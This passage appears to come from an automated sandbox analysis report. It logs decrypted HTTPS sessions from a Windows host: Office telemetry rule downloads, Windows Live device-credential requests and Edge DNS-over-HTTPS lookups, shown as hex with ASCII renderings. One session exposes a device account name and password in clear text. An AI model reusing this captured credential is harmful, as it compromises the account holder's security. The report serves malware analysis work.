2024-11-24 22:24:32 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: d58f6c79-601e-00ab-760a-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222431Z-178bfbc474bscnbchC1NYCe7eg00000006n000000000nma2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222432Z-174c587ffdfcj798hC1TEB9bq4000000057g000000009a3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49783	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-24 22:24:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 2a036394-838f-4ff5-9898-ec0c2f162bb6 PPServer: PPV: 30 H: PH1PEPF00011F97 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:31 GMT Connection: close Content-Length: 1276
2024-11-24 22:24:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49788	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-24 22:24:31 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 64 75 79 63 6d 69 65 79 62 6b 69 71 63 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 2e 61 75 44 46 48 41 3d 75 47 71 64 6e 41 3b 3b 65 23 6e 42 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02duycmieybkiqcq</Membername><Password>.auDFHA=uGqdnA;;e#nB</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-24 22:24:39 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sun, 24 Nov 2024 22:23:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 09a107b3-3126-454c-b5d7-9544e4ffb75f PPServer: PPV: 30 H: SN1PEPF0002F1B8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:39 GMT Connection: close Content-Length: 17166
2024-11-24 22:24:39 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 31 39 33 32 44 45 42 41 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 34 37 32 62 66 38 36 32 2d 62 66 65 39 2d 34 36 39 36 2d 39 31 64 37 2d 32 33 63 31 39 36 38 39 63 61 39 35 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00184011932DEBAF</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="472bf862-bfe9-4696-91d7-23c19689ca95" LicenseID="3252b20c-d425-4711
2024-11-24 22:24:39 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222432Z-178bfbc474bnwsh4hC1NYC2ubs00000006n000000000czm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222432Z-178bfbc474bwh9gmhC1NYCy3rs00000006ng00000000bdtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49801	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf4b483c4229-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom ()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49803	172.64.41.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf4ba99f43ab-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 18 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49802	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf4bdab96a5f-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 04 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:33 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
